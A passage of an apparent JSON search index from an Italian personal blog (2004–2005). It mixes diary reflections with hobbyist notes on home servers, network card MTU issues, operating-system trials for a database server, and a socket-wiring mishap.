tanto tempo mi viene in mente che bisogna scrivere qualcosa di serio ogni tanto quindi prendo come spunto due giornate abbastanza inutili: 14 Febbraio (il giorno degli innamorati o delle coppie non e\u0026rsquo; la stessa cosa!) 15 Febbraio (il giorno dei single, che sinceramente non ho mai sentito ma dato che \u0026hellip;\n","permalink":"https://www.deepreflect.net/2005/02/15/14-15-febbraio/","summary":"\u003cp\u003eDopo tanto tempo mi viene in mente che bisogna scrivere qualcosa di serio ogni tanto quindi prendo come spunto due giornate abbastanza inutili:\n14 Febbraio (il giorno degli innamorati o delle coppie non e\u0026rsquo; la stessa cosa!)\n15 Febbraio (il giorno dei single, che sinceramente non ho mai sentito ma dato che \u0026hellip;\u003c/p\u003e","title":"14 - 15 Febbraio"},{"content":"E\u0026rsquo; successo in questi giorni che il server sta avendo qualche problema di stabilita\u0026rsquo; la RAM e Swap non sono piu\u0026rsquo; sufficenti. Io l\u0026rsquo;avevo detto\u0026hellip;\nIl database server quello che ovviamente occupa la maggior parte della ram insieme al webserver che in giornata non hanno per niente funzionato bene. E\u0026rsquo; stato \u0026hellip;\n","permalink":"https://www.deepreflect.net/2005/02/01/il-server-sta-morendo/","summary":"\u003cp\u003eE\u0026rsquo; successo in questi giorni che il server sta avendo qualche problema di stabilita\u0026rsquo; la RAM e Swap non sono piu\u0026rsquo; sufficenti. Io l\u0026rsquo;avevo detto\u0026hellip;\u003c/p\u003e\n\u003cp\u003eIl database server quello che ovviamente occupa la maggior parte della ram insieme al webserver che in giornata non hanno per niente funzionato bene. E\u0026rsquo; stato \u0026hellip;\u003c/p\u003e","title":"Il server sta morendo."},{"content":"Certo che la tecnologia wireless e\u0026rsquo; davvero comoda oggi sono andato fino in strada e il portatile andava e navigavo tranquillamente senza problemi, poi da quando mi sono accorto che c\u0026rsquo;erano 3 gradi ed ero senza giacca sono tornato in casa, appena ho tempo faccio qualche test in piu\u0026rsquo; per \u0026hellip;\n","permalink":"https://www.deepreflect.net/2005/01/12/wifi/","summary":"\u003cp\u003eCerto che la tecnologia wireless e\u0026rsquo; davvero comoda oggi sono andato fino in strada e il portatile andava e navigavo tranquillamente senza problemi, poi da quando mi sono accorto che c\u0026rsquo;erano 3 gradi ed ero senza giacca sono tornato in casa, appena ho tempo faccio qualche test in piu\u0026rsquo; per \u0026hellip;\u003c/p\u003e","title":"WiFi"},{"content":"Il treno è propio una concezione di movimento\u0026hellip; Il movimento cambia la prospettiva delle cose e quindi a le fa apparire quasi diverse\u0026hellip;\n","permalink":"https://www.deepreflect.net/2005/01/10/treno-movimento-pensiero/","summary":"\u003cp\u003eIl treno è propio una concezione di movimento\u0026hellip; Il movimento cambia la prospettiva delle cose e quindi a le fa apparire quasi diverse\u0026hellip;\u003c/p\u003e","title":"Treno, movimento, pensiero…"},{"content":"Ha ha ha sempre così va a finire da un po\u0026rsquo; di notti non riesco a fornire cosa sia non lo so è tutto così strano\u0026hellip; Posso dire che tante cose stanno cambiando anzi tutto sta cambiando e io continuo ad osservare, forse un meno lontano di prima in fondo \u0026hellip;\n","permalink":"https://www.deepreflect.net/2004/12/29/insomnia/","summary":"\u003cp\u003eHa ha ha sempre così va a finire da un po\u0026rsquo; di notti non riesco a fornire cosa sia non lo so è tutto così strano\u0026hellip; Posso dire che tante cose stanno cambiando anzi tutto sta cambiando e io continuo ad osservare, forse un meno lontano di prima in fondo \u0026hellip;\u003c/p\u003e","title":"Insomnia"},{"content":"Da quanto tempo non ci sediamo ad osservare il sole sorgere, oramai diamo per scontato che questo succeda quindi ci accontentiamo di vederlo in foto o in tv\u0026hellip; E in fondo non è mai tardi per dire ciò che si pensa\u0026hellip;\nBuona Notte Leo\n","permalink":"https://www.deepreflect.net/2004/12/28/e-tardi-per-dire-buona-notte/","summary":"\u003cp\u003eDa quanto tempo non ci sediamo ad osservare il sole sorgere, oramai diamo per scontato che questo succeda quindi ci accontentiamo di vederlo in foto o in tv\u0026hellip; E in fondo non è mai tardi per dire ciò che si pensa\u0026hellip;\u003c/p\u003e\n\u003cp\u003eBuona Notte\nLeo\u003c/p\u003e","title":"E’ tardi per dire buona notte?!"},{"content":"Be come al solito la notte porta consiglio, di solito lo si dice prima di andare a letto\u0026hellip; Io lo dico da sveglio visto che per me non fa differenza, come al solito non c\u0026rsquo;e\u0026rsquo; voglia di dormire, non c\u0026rsquo;e\u0026rsquo; niente da fare (si fa per dire) quindi si \u0026hellip;\n","permalink":"https://www.deepreflect.net/2004/12/24/conoscere-si-ma-cosa/","summary":"\u003cp\u003eBe come al solito la notte porta consiglio, di solito lo si dice prima di andare a letto\u0026hellip; Io lo dico da sveglio visto che per me non fa differenza, come al solito non c\u0026rsquo;e\u0026rsquo; voglia di dormire, non c\u0026rsquo;e\u0026rsquo; niente da fare (si fa per dire) quindi si \u0026hellip;\u003c/p\u003e","title":"Conoscere, si ma cosa?"},{"content":"Visto che oramai sono presso in giro è bene sperimentare qualcosa di \u0026ldquo;mobile\u0026rdquo;\n","permalink":"https://www.deepreflect.net/2004/12/24/cell-post/","summary":"\u003cp\u003eVisto che oramai sono presso in giro è bene sperimentare qualcosa di \u0026ldquo;mobile\u0026rdquo;\u003c/p\u003e","title":"Cell post…"},{"content":"Certo, e\u0026rsquo; notte domani devo andare a scuola ma in fondo non sono stanco la vita mi ha sempre offerto delle cose meravigliose anche tra mille difficolta\u0026rsquo;, non vorrei mai cambiare quello che e\u0026rsquo; stato, la storia penso non sia una cosa da vivere, semplicemente qualcosa da creare\u0026hellip;\n","permalink":"https://www.deepreflect.net/2004/12/20/e-tardi/","summary":"\u003cp\u003eCerto, e\u0026rsquo; notte domani devo andare a scuola ma in fondo non sono stanco la vita mi ha sempre offerto delle cose meravigliose anche tra mille difficolta\u0026rsquo;, non vorrei mai cambiare quello che e\u0026rsquo; stato, la storia penso non sia una cosa da vivere, semplicemente qualcosa da creare\u0026hellip;\u003c/p\u003e","title":"E’ tardi…(?)"},{"content":"Premetto che prima di arrivare a questa soluzione ci ho pensato per circa un mese. La scheda di rete in questione e’ una ciofega integrata in una scheda madre dell’Asus (P4P800-E Delux) scheda che e’ piena di periferiche inutili come 8 porte USB, 8 canali per l’audio, 2 di audio digitale, controller Raid anche SATA.\nMa ora arriviamo alla scheda di rete una Marvell 88E8001 Gigabit ethernet una scheda di inutilita’ pazzesca perche’ io 1Gbit/s non lo metto mica su cavo di rame ma solo su fibra ottica, e poi mi piacerebbe trovare qualcuno che la usa realmente a quella velocita’ che poi resta sempre una cosa teorica (come i 10Mbit/s delle schede BNC coassiali chi li ha mai visti tutti e 10?). Fattosta’ che i driver sono progettati primariamente per connessioni 1Gbit/s non i classici 100 Mbit/s che penso usino tutti i comuni mortali quindi ti sparano un MTU 1512 o forse di piu’ questo inevitabilmente crea parecchi problemi su reti ethernet normali (error, drop) che di solito lavorano con MTU di 1500 o inferiori la maggior parte dei pacchetti vengono scartati anche dai firewall sono impostati per scartare pacchetti frammentati o di dimensioni non standard. Tralasciando i disastri una volta sistemato l’MTU operazione che si puo’ fare anche comodamente dal driver va tutto aposto!\nPer chi non lo sapessere MTU sta per Max Trasfert Unit sarebbe la grandezza massima di un pacchetto generata da un sispositivo di rete (fisico o virtuale), questo fattore e’ molto importante da considerare su reti mascherate da router/gateway che sono ciolle oppure strane politiche che usano gli ISP per le connessioni ADSL, che rifiutano il 1500 perche’ funzionanti a 1492 o inferiori.\n","permalink":"https://www.deepreflect.net/2004/11/15/scheda-di-rete-gigabit-2/","summary":"\u003cp\u003ePremetto che prima di arrivare a questa soluzione ci ho pensato per circa un mese. La scheda di rete in questione e’ una ciofega integrata in una scheda madre dell’Asus (P4P800-E Delux) scheda che e’ piena di periferiche inutili come 8 porte USB, 8 canali per l’audio, 2 di audio digitale, controller Raid anche SATA.\u003c/p\u003e\n\u003cp\u003eMa ora arriviamo alla scheda di rete una Marvell 88E8001 Gigabit ethernet una scheda di inutilita’ pazzesca perche’ io 1Gbit/s non lo metto mica su cavo di rame ma solo su fibra ottica, e poi mi piacerebbe trovare qualcuno che la usa realmente a quella velocita’ che poi resta sempre una cosa teorica (come i 10Mbit/s delle schede BNC coassiali chi li ha mai visti tutti e 10?).\nFattosta’ che i driver sono progettati primariamente per connessioni 1Gbit/s non i classici 100 Mbit/s che penso usino tutti i comuni mortali quindi ti sparano un MTU 1512 o forse di piu’ questo inevitabilmente crea parecchi problemi su reti ethernet normali (error, drop) che di solito lavorano con MTU di 1500 o inferiori la maggior parte dei pacchetti vengono scartati anche dai firewall sono impostati per scartare pacchetti frammentati o di dimensioni non standard.\nTralasciando i disastri una volta sistemato l’MTU operazione che si puo’ fare anche comodamente dal driver va tutto aposto!\u003c/p\u003e","title":"Scheda di rete GigaBit"},{"content":"Premetto che prima di arrivare a questa soluzione ci ho pensato per circa un mese. La scheda di rete in questione e\u0026rsquo; una ciofega integrata in una scheda madre dell\u0026rsquo;Asus (P4P800-E Delux) scheda che e\u0026rsquo; piena di periferiche inutili come 8 porte USB, 8 canali per l\u0026rsquo;audio, 2 di \u0026hellip;\n","permalink":"https://www.deepreflect.net/2004/11/15/scheda-di-rete-gigabit/","summary":"\u003cp\u003ePremetto che prima di arrivare a questa soluzione ci ho pensato per circa un mese. La scheda di rete in questione e\u0026rsquo; una ciofega integrata in una scheda madre dell\u0026rsquo;Asus (P4P800-E Delux) scheda che e\u0026rsquo; piena di periferiche inutili come 8 porte USB, 8 canali per l\u0026rsquo;audio, 2 di \u0026hellip;\u003c/p\u003e","title":"Scheda di rete GigaBit"},{"content":"Da poco ho finito di leggere un libro intitolato \u0026ldquo;Il codice da Vinci\u0026rdquo; scritto da Dan Brown, be devo dire che come libro mi ha colpito molto e\u0026rsquo; scritto molto bene strutturato in capitoletti che ti trasportano da una parte all\u0026rsquo;altra della storia e ti invogliano uno dopo l\u0026rsquo;altro a \u0026hellip;\n","permalink":"https://www.deepreflect.net/2004/10/24/codice-da-vinci/","summary":"\u003cp\u003eDa poco ho finito di leggere un libro intitolato \u0026ldquo;Il codice da Vinci\u0026rdquo; scritto da Dan Brown, be devo dire che come libro mi ha colpito molto e\u0026rsquo; scritto molto bene strutturato in capitoletti che ti trasportano da una parte all\u0026rsquo;altra della storia e ti invogliano uno dopo l\u0026rsquo;altro a \u0026hellip;\u003c/p\u003e","title":"“Codice da vinci”"},{"content":"Cavolo come passa il tempo, siamo gia\u0026rsquo; arrivati ad un mese dall\u0026rsquo;iniziono della scuola, e\u0026rsquo; trascorso tutto bene tranquillo pacifico senza particolari problemi be a parte l\u0026rsquo;incredibile sonno che c\u0026rsquo;e\u0026rsquo; sempre ma e\u0026rsquo; una cosa del tutto nella norma. Ogni tanto mi manifesto giusto per dire si ci sono ancora, vivo!\nLeo \u0026hellip;\n","permalink":"https://www.deepreflect.net/2004/10/18/un-mese/","summary":"\u003cp\u003eCavolo come passa il tempo, siamo gia\u0026rsquo; arrivati ad un mese dall\u0026rsquo;iniziono della scuola, e\u0026rsquo; trascorso tutto bene tranquillo pacifico senza particolari problemi be a parte l\u0026rsquo;incredibile sonno che c\u0026rsquo;e\u0026rsquo; sempre ma e\u0026rsquo; una cosa del tutto nella norma.\nOgni tanto mi manifesto giusto per dire si ci sono ancora, vivo!\u003c/p\u003e\n\u003cp\u003eLeo \u0026hellip;\u003c/p\u003e","title":"Un Mese"},{"content":"Da tre giorni ho rispolverato la macchina fotografica della casio piccola e comoda a differenza della nikon be il livello qualitativo e\u0026rsquo; discutibile ma la comodita\u0026rsquo; non si tocca, sta pure in tasca.\nLa praticita\u0026rsquo; e velocita\u0026rsquo; di azione e\u0026rsquo; la base della fotografia che definisco “catturata” non e\u0026rsquo; la classica foto di gruppo dove tutti ridono oppure classiche immagini statiche senza “vita\u0026quot;, spontaneeta\u0026rsquo; questa e\u0026rsquo; la cosa piu\u0026rsquo; importante.\nLascio il tutto il resto alle immagini =\u0026gt; Gallery\n","permalink":"https://www.deepreflect.net/2004/09/29/capture/","summary":"\u003cp\u003eDa tre giorni ho rispolverato la macchina fotografica della casio piccola e comoda a differenza della nikon be il livello qualitativo e\u0026rsquo; discutibile ma la comodita\u0026rsquo; non si tocca, sta pure in tasca.\u003c/p\u003e\n\u003cp\u003eLa praticita\u0026rsquo; e velocita\u0026rsquo; di azione e\u0026rsquo; la base della fotografia che definisco “catturata” non e\u0026rsquo; la classica foto di gruppo dove tutti ridono oppure classiche immagini statiche senza “vita\u0026quot;, spontaneeta\u0026rsquo; questa e\u0026rsquo; la cosa piu\u0026rsquo; importante.\u003c/p\u003e","title":"Capture"},{"content":"Oggi giornata ti pulizie e ordine fra i serverini, ho mandato in pensione il 486 con NetBSD che faceva da dhcp e netmonitor, poi ho spostato il gateway su una macchina piu’ potente visto che quello vecchio non reggeva piu’ il carico di lavoro.\nAltro niente tutto tranquillo.\n","permalink":"https://www.deepreflect.net/2004/09/19/spostamenti-vari/","summary":"\u003cp\u003eOggi giornata ti pulizie e ordine fra i serverini, ho mandato in pensione il 486 con NetBSD che faceva da dhcp e netmonitor, poi ho spostato il gateway su una macchina piu’ potente visto che quello vecchio non reggeva piu’ il carico di lavoro.\u003c/p\u003e\n\u003cp\u003eAltro niente tutto tranquillo.\u003c/p\u003e","title":"Spostamenti Vari"},{"content":"Riassunto della giornata stamattina abbastanza tutto bene, la giornata pure a scuola abbiamo fatto solo 5 ore, e’ volata. Oggi niente pioggia, fa un po’ freddo inizia a sentirsi l’autunno la solita’ umidita’, insomma, nulla di male.\nPomeriggio tranquillo solita musica, solite ore di lavoro leggere. E anche qui tutto ok, stranamente anche i server vanno tutti senza problemi.\nStrano qualcosa non mi torna, non e’ ancora successo niente a parte una piccola parentesi non degna di particolare nota.\nComunque stasera dovevo mettere a posto la presa in salotto dopo aver posto il cavo per il della parabola, l’operazione di per se era molto semplice dovevo solo collegare la presa una vecchia bticino della serie magic una di quelle nere aveva ancora il supporto in metallo senza isolante. A questo punto inizio a girare la vite del cavo della messa a terra (cavo di rame rigido, qui spiega tutto) gnic gnic gnic giro la vite gnic gnic gnic ma sta cazzo di vite si gita o no? Dopo mille fatiche collego la messa a terra anche se la situazione non mi piaceva, cerco di svitare la vite della massa o neutro boo i cavi sono simili sto impiato e fatto col culo… a quel punto vedo un scintillina e no la situazione no mi convince proprio, osservo piu’ attentamente la presa non sempre aver niente di anormale, ma continuo alla fine non e’ la prima volta che faccio questo lavoro lavoro sempre con la tensione nell’impianto, a questo punto vado per svitare l’altra vite gnic gnic frisszz fruiszsssz pufff strizzzxss, o cazzo sta andando a fuoco, qui iniziano le bestemmie di ogni tipo la luce e’ ancora accesa in quei pochi secondi prendo la presa e cerco di strapparla (ok lo so sono un folle) ma e’ possibile che la corrente c’e’ ancora (brucia brucia bruciaaaaaaa), se il salvavita non si sveglia faccio tempo a cuocere, cazzo io non ho un salvavita su questo impianto, altre bestemmie e imprecazioni di ogni genere dopo circa 8 secondi buio, anche il fuoco si sta spegnendo, meno male almeno la casa e’ quasi salva. A questo punto i risultati ho fatto un paio di foto: http://reason.deepreflect.net/misc/DSCN4205.JPG http://reason.deepreflect.net/misc/DSCN4206.JPG\nTutto gremato a parte il muro e la presa nessun danno a oggetti e persone (anche se mi brucia un dito).\nChe bel modo di passare il martedi’ sera……\n","permalink":"https://www.deepreflect.net/2004/09/15/casa-di-m-e-r-d-a/","summary":"\u003cp\u003eRiassunto della giornata stamattina abbastanza tutto bene, la giornata pure a scuola abbiamo fatto solo 5 ore, e’ volata. Oggi niente pioggia, fa un po’ freddo inizia a sentirsi l’autunno la solita’ umidita’, insomma, nulla di male.\u003c/p\u003e\n\u003cp\u003ePomeriggio tranquillo solita musica, solite ore di lavoro leggere.\nE anche qui tutto ok, stranamente anche i server vanno tutti senza problemi.\u003c/p\u003e\n\u003cp\u003eStrano qualcosa non mi torna, non e’ ancora successo niente a parte una piccola parentesi non degna di particolare nota.\u003c/p\u003e","title":"Casa di m-e-r-d-a"},{"content":"Bene bene e’ iniziata la scuola pensavo andasse molto peggio, per l’ennesima volta mi sono preoccupato troppo e’ andato tutto bene. E’ solo questione di attimi, momenti che rendono tutto diverso, quante volte capita che solo 5 minuti possano cambiare una giornata, in questi pochi momenti sono i sentimenti che e’ come se intaccassero direttamente lo stato d’animo. Poi cosa succede? Il tempo scorre, corre io dico: che si lasci correre io ho il mio tempo e la mia vita.\n","permalink":"https://www.deepreflect.net/2004/09/08/scuola/","summary":"\u003cp\u003eBene bene e’ iniziata la scuola pensavo andasse molto peggio, per l’ennesima volta mi sono preoccupato troppo e’ andato tutto bene.\nE’ solo questione di attimi, momenti che rendono tutto diverso, quante volte capita che solo 5 minuti possano cambiare una giornata, in questi pochi momenti sono i sentimenti che e’ come se intaccassero direttamente lo stato d’animo. Poi cosa succede? Il tempo scorre, corre io dico: che si lasci correre io ho il mio tempo e la mia vita.\u003c/p\u003e","title":"Scuola"},{"content":"Da quando e’ subentrato il nuovo server sono iniziati i problemi sul gateway perche’ non esegue correttamente il nat con iptables sulla porta 80 quindi ho puntato ad fare un semplice redirect.\nGiusto per dover di cronaca metto anche i dati del gateway:\nhost privato: reflect.stars host pubblico: reflect.deepreflect.net servizi disponibili: Firewalling, Mailserver, Router. CPU: Pentium MMX - 166Mhz RAM: 69 MB HDA: 800 MB System: Slackware 9.1 ","permalink":"https://www.deepreflect.net/2004/09/08/gateway/","summary":"\u003cp\u003eDa quando e’ subentrato il nuovo server sono iniziati i problemi sul gateway perche’ non esegue correttamente il nat con iptables sulla porta 80 quindi ho puntato ad fare un semplice redirect.\u003c/p\u003e\n\u003cp\u003eGiusto per dover di cronaca metto anche i dati del gateway:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ehost privato: reflect.stars\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ehost pubblico: reflect.deepreflect.net\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eservizi disponibili: Firewalling, Mailserver, Router.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPU: Pentium MMX - 166Mhz\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRAM: 69 MB\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHDA: 800 MB\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSystem: Slackware 9.1\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Gateway"},{"content":"Be da qualche giorno e’ operativo il nuovo server che ospita DB e Web funziona tutto a meraviglia, domani inizia la scuola! Mannaggia che palle…\nI dati del serverozzo nuovo:\nhost privato: reason.stars host pubblico: reason.deepreflect.net servizi disponibili: Web, Mysql. CPU: Pentium 2 - 400Mhz RAM: 196 MB HDA: 3 GB System: Slackware 9.1 ","permalink":"https://www.deepreflect.net/2004/09/07/new-server/","summary":"\u003cp\u003eBe da qualche giorno e’ operativo il nuovo server che ospita DB e Web funziona tutto a meraviglia, domani inizia la scuola! Mannaggia che palle…\u003c/p\u003e\n\u003cp\u003eI dati del serverozzo nuovo:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ehost privato: reason.stars\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ehost pubblico: reason.deepreflect.net\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eservizi disponibili: Web, Mysql.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPU: Pentium 2 - 400Mhz\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRAM: 196 MB\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHDA: 3 GB\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSystem: Slackware 9.1\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"New Server"},{"content":"Il mio caro db server sta morendo i messaggi minacciosi e allo stesso tempo incomprensibili del demone mysqld sono sempre piu’ insistenti ho la netta sensazione che durera’ poco devo assolutamente trovare un sostituto. Il netmonitor non penso abbia voglia di fare anche il db serv, le cose si complicano…\n","permalink":"https://www.deepreflect.net/2004/08/31/db-server-2/","summary":"\u003cp\u003eIl mio caro db server sta morendo i messaggi minacciosi e allo stesso tempo incomprensibili del demone mysqld sono sempre piu’ insistenti ho la netta sensazione che durera’ poco devo assolutamente trovare un sostituto. Il netmonitor non penso abbia voglia di fare anche il db serv, le cose si complicano…\u003c/p\u003e","title":"DB server"},{"content":"Stasera ho avuto l’idea di iniziare la riorganizzazione della rete in modo di avere il CED (centro elaborazione dati) dove ci fosse maggiore potenza dicalcolo e maggiore connettivita’ bilanciata e ben simmetrica e lasciare da me solo pochi servizi base una sorta di sistema di back-up oltre a questo il NOC (network operations center) essendo io a dovermi smazzere la parte principale della sistemistica viene molto comodo avere tutto a portata di mano anche se sto pensando a un NOC-M(obile)™ che sicuramente mi aiuterebbe nel monitoraggio in tempo reale anche quando non sono connesso fisicamente ad una rete. La situazione attuale non e’ fra le migliori gli isp impongono parecchi limiti alla connettivita’ quindi il mio lavoro (e non solo mio) implica parecchi sforzi e rompimenti, fino d’ora siamo riusciti a far andare inrete “Liero” un programma che ci permette di ottimizzare il nostro lavoro nei momenti più difficili.\n","permalink":"https://www.deepreflect.net/2004/08/31/ced-e-noc/","summary":"\u003cp\u003eStasera ho avuto l’idea di iniziare la riorganizzazione della rete in modo di avere il CED (centro elaborazione dati) dove ci fosse maggiore potenza dicalcolo e maggiore connettivita’ bilanciata e ben simmetrica e lasciare da me solo pochi servizi base una sorta di sistema di back-up oltre a questo il NOC (network operations center) essendo io a dovermi smazzere la parte principale della sistemistica viene molto comodo avere tutto a portata di mano anche se sto pensando a un NOC-M(obile)™ che sicuramente mi aiuterebbe nel monitoraggio in tempo reale anche quando non sono connesso fisicamente ad una rete.\nLa situazione attuale non e’ fra le migliori gli isp impongono parecchi limiti alla connettivita’ quindi il mio lavoro (e non solo mio) implica parecchi sforzi e rompimenti, fino d’ora siamo riusciti a far andare inrete “Liero” un programma che ci permette di ottimizzare il nostro lavoro nei momenti più difficili.\u003c/p\u003e","title":"CED e NOC"},{"content":"Sto avendo seri problemi nella realizzazione del server che gestisce i database sql sia come scelta hardware sia per la scelta del sistema operativo ora gira su linux, ma volevo optare per un sistema piu’ leggero e dedicarlo solo a quello; Come prima prova stavo scegliendo Solaris 9 quindi tutto contento scarico i 4 cd del sistema provo e riprovo e non va quindi cerco una specie di manuale e mi cade l’occhio sui requisiti di sistema x86 (ok ci siamo) 128MB di ram (hum… Ne ho meno della metà) hd 2.0 GB (forse con 4 dischi in raid 0 ci potrei arrivare) ok si vede che la sun non ha problemi hardware io si quindi -1\nQNX 6.2.1 Neutrino sistema noto per la sua leggerezza e stabilita’ tanto che secondo me andrabbe anche su un tostapane in ogni caso lo usano sui terminali di controllo delle centrali nucleari, partendo da questo presupposto anche se abbattuto dal sistema precedente parto molto fiducioso, installo il tutto in meno di 10 minuti il sistema completo in un disco di 200MB (quindi penso cavolo sto sistema e’ davvero figo) una volta che svolge il suo velocissimo avvio mi trovo davanti ad una interfaccia gafica degna di notevole rispetto e velocita’. Che bello! Ma mo il cursore come diavolo lo muovo agitando il monitor? Vabbe’ cerchiamo un mouse seriale, dopo ardue ricerche ne trovo 2, bene non si sa mai. Ovviamente il sistema non ne vuole sapere di riconoscere il mouse a stento riesco ad aprire una console, ora io non ho niente contro qnx e’ un bel sistema ma e’ possibile che non si capisca niente? Pure \u0026ldquo;vi\u0026rdquo; non risponde ai comandi standard. Per essere un os unix basato su standard posix ho gia speso troppo tempo -2\nPensa pensa, be netbsd non e’ male ma e’ gia’ su una machina freebsd mi sembra troppo pesante cosa resta? Proprio lui openbsd, be questo mi sembra tosto il sistema piu’ sicuro al mondo bene proviamolo cerca cerca la iso non esiste quindi una bella installazione da rete sempre se andasse macina e rimacina la scheda realtek non sembra voglia andare; ok proviamo una 3com, questa gli piace gia’ di piu’ in pochi secondi il super dhcp assegna un ip 192.168.1.254 ma cazzarola hai un range di 153 ip devi partire propio dall’ultimo? Oggi sono polemico in ogni caso funziona tutto va che bello installa tutto senza problemi, parte il sistema ovviamente su sistemi bsd solo sh, questo punto faccio una scoperta pkg_add, risolve le dipendende dei pacchetti in modo completamente automatico, mi ha stupito… Dopo di questo cerco /etc/rc.d/ hum… non c’e’ ok cerchiamo qualcosa d’altro /etc/rc questo mi sembra faccia la stessa funzione installo il DB mysql con il fantastico pkg_add funziona e’ veloce e senza problemi, a questo punto sento rumori strani provenire da disco -__- ovviamente il sistema non contento inizia ad andare a scatti.\nNon e’ giornata riavvio tutto con il disco originale con linux a tempo debito si vedra’…\n","permalink":"https://www.deepreflect.net/2004/08/26/db-server/","summary":"\u003cp\u003eSto avendo seri problemi nella realizzazione del server che gestisce i database sql sia come scelta hardware sia per la scelta del sistema operativo ora gira su linux, ma volevo optare per un sistema piu’ leggero e dedicarlo solo a quello;\nCome prima prova stavo scegliendo Solaris 9 quindi tutto contento scarico i 4 cd del sistema provo e riprovo e non va quindi cerco una specie di manuale e mi cade l’occhio sui requisiti di sistema x86 (ok ci siamo) 128MB di ram (hum… Ne ho meno della metà) hd 2.0 GB (forse con 4 dischi in raid 0 ci potrei arrivare) ok si vede che la sun non ha problemi hardware io si quindi -1\u003c/p\u003e","title":"DB server"},{"content":"E così inizio questo \u0026ldquo;nuovo\u0026rdquo; esperimento in fondo è una cosa gia’ tentata in passato a con scarso successo e’ ormai passato piu’ di un anno ho avuto l’idea di tenere un diario, con la promessa che un giorno qualcuno lo possa leggere. Si tratta della mia vita ma vista da un punto di vista più riflessivo, un pò come se ci fosse scritto quello che non ho mai voluto dire per il semplice motivo che non era necessario. Con questo voglio dire che raramente scriverò in modo dettaglito cosa mi succede al massimo ci saranno degli accenni oppure occasioni particolarmente significative.\n","permalink":"https://www.deepreflect.net/2004/08/25/blog-idea/","summary":"\u003cp\u003eE così inizio questo \u0026ldquo;nuovo\u0026rdquo; esperimento in fondo è una cosa gia’ tentata in passato a con scarso successo e’ ormai passato piu’ di un anno ho avuto l’idea di tenere un diario, con la promessa che un giorno qualcuno lo possa leggere. Si tratta della mia vita ma vista da un punto di vista più riflessivo, un pò come se ci fosse scritto quello che non ho mai voluto dire per il semplice motivo che non era necessario. Con questo voglio dire che raramente scriverò in modo dettaglito cosa mi succede al massimo ci saranno degli accenni oppure occasioni particolarmente significative.\u003c/p\u003e","title":"Blog idea"},{"content":"Ora devo fare una piccola premessa: se non mi decido a collegare il palmare ad un server sarà un po’ tanto difficile che i post compariranno nella pagina :) Detto questo posso dire che l’inizio di questo esperimento poteva andare meglio resta il fatto che il mio palmare per quanto vecchio sia di messaggi ne può contenere parecchi in ogni caso non deve essere così. Stasera un film di Polaski dal titolo The ningth gate mi ha incuriosito parecchio per quanto riguarda la letteratura occulta, quelli che mi conoscono sanno benissimo che non credo in divinità di nessuna religione mi piace pensare a delle forze di natura ignota (non è detto che siano di origine divina o soprannaturale ) che si occupano di tenere in equilibrio il mondo… Che sonno continuerò il discorso…\n","permalink":"https://www.deepreflect.net/2004/08/25/link/","summary":"\u003cp\u003eOra devo fare una piccola premessa: se non mi decido a collegare il palmare ad un server sarà un po’ tanto difficile che i post compariranno nella pagina :)\nDetto questo posso dire che l’inizio di questo esperimento poteva andare meglio resta il fatto che il mio palmare per quanto vecchio sia di messaggi ne può contenere parecchi in ogni caso non deve essere così.\nStasera un film di Polaski dal titolo The ningth gate mi ha incuriosito parecchio per quanto riguarda la letteratura occulta, quelli che mi conoscono sanno benissimo che non credo in divinità di nessuna religione mi piace pensare a delle forze di natura ignota (non è detto che siano di origine divina o soprannaturale ) che si occupano di tenere in equilibrio il mondo… Che sonno\ncontinuerò il discorso…\u003c/p\u003e","title":"Link"},{"content":"Ci illudiamo di dare senso a tutto quanto, ma inevitabilmente il senso non c’e’. Senza senso pero’ nulla puo’ esistere.\n","permalink":"https://www.deepreflect.net/2004/04/16/il-senso-di-tutto/","summary":"\u003cp\u003eCi illudiamo di dare senso a tutto quanto, ma inevitabilmente il senso non c’e’. Senza senso pero’ nulla puo’ esistere.\u003c/p\u003e","title":"Il senso di tutto."},{"content":"A volte mi hanno detto che pensando e osservando troppo i dettagli si perde ciò che può essere il concetto base il motivo per cui una determinata cosa c’è, anche se questo può essere vero a volte è proprio il particolare che rende la complesso una cosa unica.\n","permalink":"https://www.deepreflect.net/2004/04/16/details/","summary":"\u003cp\u003eA volte mi hanno detto che pensando e osservando troppo i dettagli si perde ciò che può essere il concetto base il motivo per cui una determinata cosa c’è, anche se questo può essere vero a volte è proprio il particolare che rende la complesso una cosa unica.\u003c/p\u003e","title":"Details"},{"content":"A volte e’ proprio vero che la gente non si ferma piu’ a vedere cosa gli accade realmente o 